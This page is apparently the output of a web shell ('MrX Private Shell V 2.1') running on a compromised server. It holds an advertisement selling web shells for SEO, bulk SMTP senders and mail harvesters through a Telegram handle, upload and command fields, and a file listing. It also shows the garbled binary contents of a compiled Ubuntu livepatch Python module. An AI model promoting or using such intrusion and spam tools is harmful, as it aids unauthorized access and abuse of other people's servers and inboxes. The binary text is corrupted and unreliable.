__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

Uٵgh3�
�@�SSKrSSKrSSKrSSKrSSKrSSKJr SSKJrJ	r	J
r
 SSKJrJ
r
JrJrJr SSKJrJrJrJrJrJr SSKJr SSKJr SrS	rS
rSr\R@"5r!\RD"\RF"\$55r%\RL"SS
\RN55r("SS\5r)"SS\5r*"SS\5r+"SS\5r,S\	\+4Sjr-S\	\.S\	\(4Sjr/"SS\R`5r1S\	\(4Sjr2S\.S\.S\.S \.S\
\3\	\344
S!jr4S\.S\.S\.S \.S"\	\RS\	\(4S#jr5\"SS$9S\(4S%j5r6S/S&\.S'\	\\7SS4S(jjr8S0S)\	\.S*\	\.S'\	\\7SS4S+jjr9S,\.S\	\.4S-jr:S\34S.jr;g)1�N)�	lru_cache)�List�Optional�Tuple)�event_logger�
exceptions�messages�system�util)�
BoolDataValue�
DataObject�Field�IncorrectTypeError�StringDataValue�	data_list)�state_files)�
serviceclientz
http-proxyzhttps-proxyz/snap/bin/canonical-livepatchz/v1/api/kernels/supportedc�Z�\rSrSr\"5r\"5r\"5r\"5r\"5r	Sr
g)�LivepatchSupport� �N)�__name__�
__module__�__qualname__�__firstlineno__�object�	SUPPORTED�KERNEL_UPGRADE_REQUIRED�
KERNEL_EOL�UNSUPPORTED�UNKNOWN�__static_attributes__r��4/usr/lib/python3/dist-packages/uaclient/livepatch.pyrr s&����I�$�h����J��(�K��h�Gr#rc�V�\rSrSr\"S\SSS9\"S\SSS9/rS\\	S\\
4SjrS	rg
)�LivepatchPatchFixStatus�)�nameF�Name��required�dict_key�patched�Patchedc��XlX lg�N�r(r-)�selfr(r-s   r$�__init__� LivepatchPatchFixStatus.__init__/s��
�	��r#r1N)
rrrrrrr�fieldsr�str�boolr3r"rr#r$r&r&)sD��
�f�o���G�
�i����K��F�
��s�m���$��r#r&c	��\rSrSr\"S\SSS9\"S\"\5SSS9\"S\SS	S9/rS\	\
S\	\\S\	\
4S
jrSr
g)
�LivepatchPatchStatus�8�stateF�Stater*�fixes�Fixes�version�Versionc�(�XlX lX0lgr0)r;r=r?)r2r;r=r?s    r$r3�LivepatchPatchStatus.__init__Ds���
��
��r#)r=r;r?N)rrrrrrrr&r5rr6rr3r"rr#r$r9r98su��
�g����I�
���-�.���		
�	�i��5�9�M�	�F����}����4�5�6���#��	r#r9c	�p�\rSrSr\"S\SSS9\"S\SSS9\"S\SS	S9/rS\\	S\\S\\	4S
jr
Srg)
�LivepatchStatusStatus�O�kernelF�Kernelr*�	livepatch�	Livepatch�	supported�	Supportedc�(�XlX lX0lgr0�rFrHrJ)r2rFrHrJs    r$r3�LivepatchStatusStatus.__init__`s����"��"�r#rMN)rrrrrrr9r5rr6r3r"rr#r$rDrDOsp��
�h��%�(�K�
�� �� �		
�	���� �		
��F� #���
�#��0�1�#��C�=�	#r#rDc�N�\rSrSr\"S\"\5SSS9/rS\\	\4Sjr
Srg)	�LivepatchStatus�k�statusF�Statusr*c��Xlgr0�rR)r2rRs  r$r3�LivepatchStatus.__init__us	���r#rUN)rrrrrrrDr5rrr3r"rr#r$rPrPks;��
���+�,���		
��F����3�4�5�r#rP�returnc��[5(d[RS5 g[R"[
SSSS/5up[R"U5n[RU5nUR b[#UR 5S:a[RS5 gUR S
$![RaOnSUR;a$[RUR5 SnAg[RSUS9 UeSnAff=f![Ran[RS	UUS9 SnAgSnAff=f![a [RS
U5 gf=f)Nz$canonical-livepatch is not installedrRz	--verbosez--format�jsonzMachine is not enabledz;canonical-livepatch returned error when checking status:
%s)�exc_infozPJSONDecodeError while parsing livepatch status, returning None. output was: "%s"z<canonical-livepatch status returned unexpected structure: %s�z!canonical-livepatch has no statusr)�is_livepatch_installed�LOG�debugr
�subp�
LIVEPATCH_CMDr�ProcessExecutionError�stderr�warningrY�loads�JSONDecodeErrorrP�	from_dictrrR�len)�out�_�e�status_json�status_roots     r$rRrR|s]��!�#�#��	�	�8�9������
�H�k�:�v�F�
���	��j�j��o���%�/�/��<�����!�S��);�);�%<�q�%@��	�	�5�6�����a� � ��I�+�+�
�$�q�x�x�/��K�K����!�����J��	�	
����
���������
���		�	
����������J��	
���sG�!C�	D&� E�D#�/D�D�D#�&E�:E�E� E?�>E?�
status_strc���US:Xa[R$US:Xa[R$US:Xa[R$US:Xa[R$US:Xa[R
$g)NrJzkernel-upgrade-requiredzkernel-end-of-life�unsupported�unknown)rrrrr r!)rms r$�(_convert_str_to_livepatch_support_statusrq�sm���[� ��)�)�)��.�.��7�7�7��)�)��*�*�*��]�"��+�+�+��Y���'�'�'�r#c
�Z�\rSrSrSrS\S\S\S\S\\RS\\4S	jr	S
r
g)�UALivepatchClient��
livepatch_urlr?�flavor�arch�codename�
build_daterWc�Z�UUUUUbUR5OSS.nUR5nUR[UUS9nURS:wa5[
R
S5 [
R
UR5 gURRS5n
U
b[U
[5(a'U
(a[R$[R$[!U
5$![a4n	[
R
S5 [
R
U	5 Sn	A	gSn	A	ff=f)Nrp)zkernel-version�flavour�architecturerxz
build-date)�query_params�headersz4error while checking livepatch supported kernels API��z0livepatch supported kernels API was unsuccessfulrK)�	isoformatr~�request_url�"LIVEPATCH_API_V1_KERNELS_SUPPORTED�	Exceptionr]rc�code�body�	json_dict�get�
isinstancer7rrr rq)r2r?rvrwrxryr}r~�responserj�api_supported_vals           r$�is_kernel_supported�%UALivepatchClient.is_kernel_supported�s��&�� � �*4�*@�
�$�$�&�i�

���,�,�.��		��'�'�2�)��(��H��=�=�C���K�K�J�K��K�K��
�
�&��$�.�.�2�2�;�?���$�
�3D�d�(K�(K� �'�1�1�1�#�/�/�/�7�8I�J�J��#�	��K�K�N�O��K�K��N���	�s�C,�,
D*�6*D%�%D*rN)rrrr�cfg_url_base_attrr6r�datetimerr�r"rr#r$rsrs�s_��'��)K��)K��)K��	)K�
�)K��X�.�.�/�
)K�
�"�	#�)Kr#rsc�~�[5nUcg[UR5$![Ra gf=fr0)rRrrarqrJ)�	lp_statuss r$�_on_supported_kernel_clir��sD����H�	����3�I�4G�4G�H�H���+�+����s�
%�<�<r?rvrwrxc��[RR5nUb�[RR[RR5[R"SS9-
n[URU:�URU:HURU:HURU:HURU:H/5(a0URc[ R#S5 SUR4$g![a SnN�f=f)zGCheck local cache of kernel support

:return: (is_cache_valid, result)
N�)�daysz-livepatch kernel support cache has None valueT)FN)r�livepatch_support_cache�readr�r��now�timezone�utc�	timedelta�all�	cached_atr?rvrwrxrJr]rc)r?rvrwrx�
cache_data�one_week_agos      r$�_on_supported_kernel_cacher��s���� �8�8�=�=�?�
����(�(�,�,����!�!�
����A�&�'����$�$�|�3��"�"�g�-��!�!�V�+����4�'��#�#�x�/�
�
�
��#�#�+����K�L��*�.�.�/�/���'���
��s�C6�6D�Dryc��[5RUUUUUS9nSnU[R:XaSnOU[R:XaSn[
RR[
R"UUUUU[RR[RR5S95 Uc[RS5 U$)N)r?rvrwrxryTF)r?rvrwrxrJr�z3livepatch kernel support API response was ambiguous)rsr�rrr rr��write�LivepatchSupportCacheDatar�r�r�r�r]rc)r?rvrwrxryrJ�cache_supporteds       r$�_on_supported_kernel_apir�s���"�#�7�7���
���8��I��O��$�.�.�.���	�&�2�2�	2����'�'�-�-��-�-�����%��'�'�+�+�H�,=�,=�,A�,A�B�
	
�	������I�J��r#)�maxsizec�V�[5nUb[RS5 U$[R"5nUR
bURb
URc%[RS5 [R$[R"UR5n[R"5RnSR!URURS9n[#XAR
X#5upVU(aV[RS5 Uc[R$U(a[R$$U(d[R&$[RS5 [)UUR
UUUR*5nUc[R$U$)z�
Checks CLI, local cache, and API in that order for kernel support
If all checks fail to return an authoritative answer, we return None
zusing livepatch cli for supportzHunable to determine enough kernel information to check livepatch supportz{major}.{minor})�major�minorzusing livepatch support cachezusing livepatch support api)r�r]r^r
�get_kernel_inforvr�r�rcrr!r�standardize_arch_name�uname_machine_arch�get_release_info�series�formatr�rr r�ry)�cli_says�kernel_inforwrx�lp_api_kernel_ver�is_cache_valid�
cache_says�api_sayss        r$�on_supported_kernelr�:sq��(�)�H����	�	�3�4����(�(�*�K����"����$����$����
&�	
� �'�'�'��%�%�k�&D�&D�E�D��&�&�(�/�/�H�)�0�0����{�'8�'8�1���
"<��-�-�t�"��N���	�	�1�2���#�+�+�+��#�-�-�-��#�/�/�/��I�I�+�,�'�����������H����'�'�'��Or#�
protocol_type�retry_sleepsc�z�[5(dg[R"[SSR	U5/US9 g)ai
Unset livepatch configuration settings for http and https proxies.

:param protocol_type: String either http or https
:param retry_sleeps: Optional list of sleep lengths to apply between
    retries. Specifying a list of [0.5, 1] tells subp to retry twice
    on failure; sleeping half a second before the first retry and 1 second
    before the second retry.
N�configz	{}-proxy=�r�)r\r
r_r`r�)r�r�s  r$�unconfigure_livepatch_proxyr�vs4��"�#�#��
�K�K�	��+�"4�"4�]�"C�D�!�r#�
http_proxy�https_proxyc�j�SSKJn U(dU(a:[R[R
R
URS95 U(a+[R"[SSR
U5/US9 U(a,[R"[SSR
U5/US9 gg)	a~
Configure livepatch to use http and https proxies.

:param http_proxy: http proxy to be used by livepatch. If None, it will
                   not be configured
:param https_proxy: https proxy to be used by livepatch. If None, it will
                    not be configured
:@param retry_sleeps: Optional list of sleep lengths to apply between
                           snap calls
r)�LivepatchEntitlement)�servicer�z
http-proxy={}r�zhttps-proxy={}N)�uaclient.entitlementsr��event�infor	�SETTING_SERVICE_PROXYr��titler
r_r`)r�r�r�r�s    r$�configure_livepatch_proxyr��s���;��[�
�
�
��*�*�1�1�,�2�2�
2�
�	
�����
�H�o�&<�&<�Z�&H�I�%�	
�
����
�H�&6�&=�&=�k�&J�K�%�	
�r#�keyc�L�[R"[S/5up[R"SRU5U[R5nU(aURS5OSnU(a[R"SSU5nU(aUR5$S$)z�
Gets the config value from livepatch.
:param key: can be any valid livepatch config option
:return: the value of the livepatch config option, or None if not set
r�z
^{}: (.*)$r[Nz\"(.*)\"z\g<1>)
r
r_r`�re�searchr��	MULTILINE�group�sub�strip)r�rhri�match�values     r$�get_config_option_valuer��ss���[�[�-��2�
3�F�C��I�I�l�)�)�#�.��R�\�\�B�E�#�E�K�K��N��E�����{�H�e�4��!�5�;�;�=�+�t�+r#c�:�[R"[5SL$r0)r
�whichr`rr#r$r\r\�s���<�<�
�&�d�2�2r#r0)NNN)<r��enumrY�loggingr��	functoolsr�typingrrr�uaclientrrr	r
r�uaclient.data_typesrr
rrrr�uaclient.filesr�
uaclient.httpr�HTTP_PROXY_OPTION�HTTPS_PROXY_OPTIONr`r��get_event_loggerr��	getLogger�replace_top_level_logger_namerr]�unique�Enumrr&r9rDrPrRr6rq�UAServiceClientrsr�r7r�r�r��floatr�r�r�r\rr#r$�<module>r�sd������	��(�(�E�E���'�'� ��"��/�
�%@�"��%�%�'��
����:�:�8�D�E������t�y�y��
���j���:��.#�J�#�8�j��"-!��.�/�-!�`
���
�
�
���
� ,K�
�5�5�,K�^I�(�+;�"<�I��
����%(��47��
�4��$��� ��>"�
�"��"��"��	"�
��*�*�+�"����
"�J�4��8�-�8��8�x?C����&.�t�E�{�&;��	��*!%�!%�*.�"
���
�"
��#��"
��4��;�'�"
�
�	"
�J,��,��#��,�3��3r#

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 148 B 0644
actions.cpython-313.pyc File 18.6 KB 0644
apt.cpython-313.pyc File 43.75 KB 0644
apt_news.cpython-313.pyc File 11.98 KB 0644
config.cpython-313.pyc File 25.18 KB 0644
contract.cpython-313.pyc File 38.45 KB 0644
contract_data_types.cpython-313.pyc File 11.96 KB 0644
data_types.cpython-313.pyc File 20.03 KB 0644
defaults.cpython-313.pyc File 3.9 KB 0644
event_logger.cpython-313.pyc File 10.3 KB 0644
exceptions.cpython-313.pyc File 35.47 KB 0644
gpg.cpython-313.pyc File 1.34 KB 0644
livepatch.cpython-313.pyc File 16.32 KB 0644
lock.cpython-313.pyc File 6.38 KB 0644
log.cpython-313.pyc File 7.58 KB 0644
secret_manager.cpython-313.pyc File 1.64 KB 0644
security_status.cpython-313.pyc File 28.89 KB 0644
snap.cpython-313.pyc File 9.61 KB 0644
status.cpython-313.pyc File 33.61 KB 0644
system.cpython-313.pyc File 35.37 KB 0644
types.cpython-313.pyc File 573 B 0644
update_contract_info.cpython-313.pyc File 1.77 KB 0644
upgrade_lts_contract.cpython-313.pyc File 4.38 KB 0644
util.cpython-313.pyc File 17.73 KB 0644
version.cpython-313.pyc File 3.7 KB 0644
yaml.cpython-313.pyc File 1.97 KB 0644
Filemanager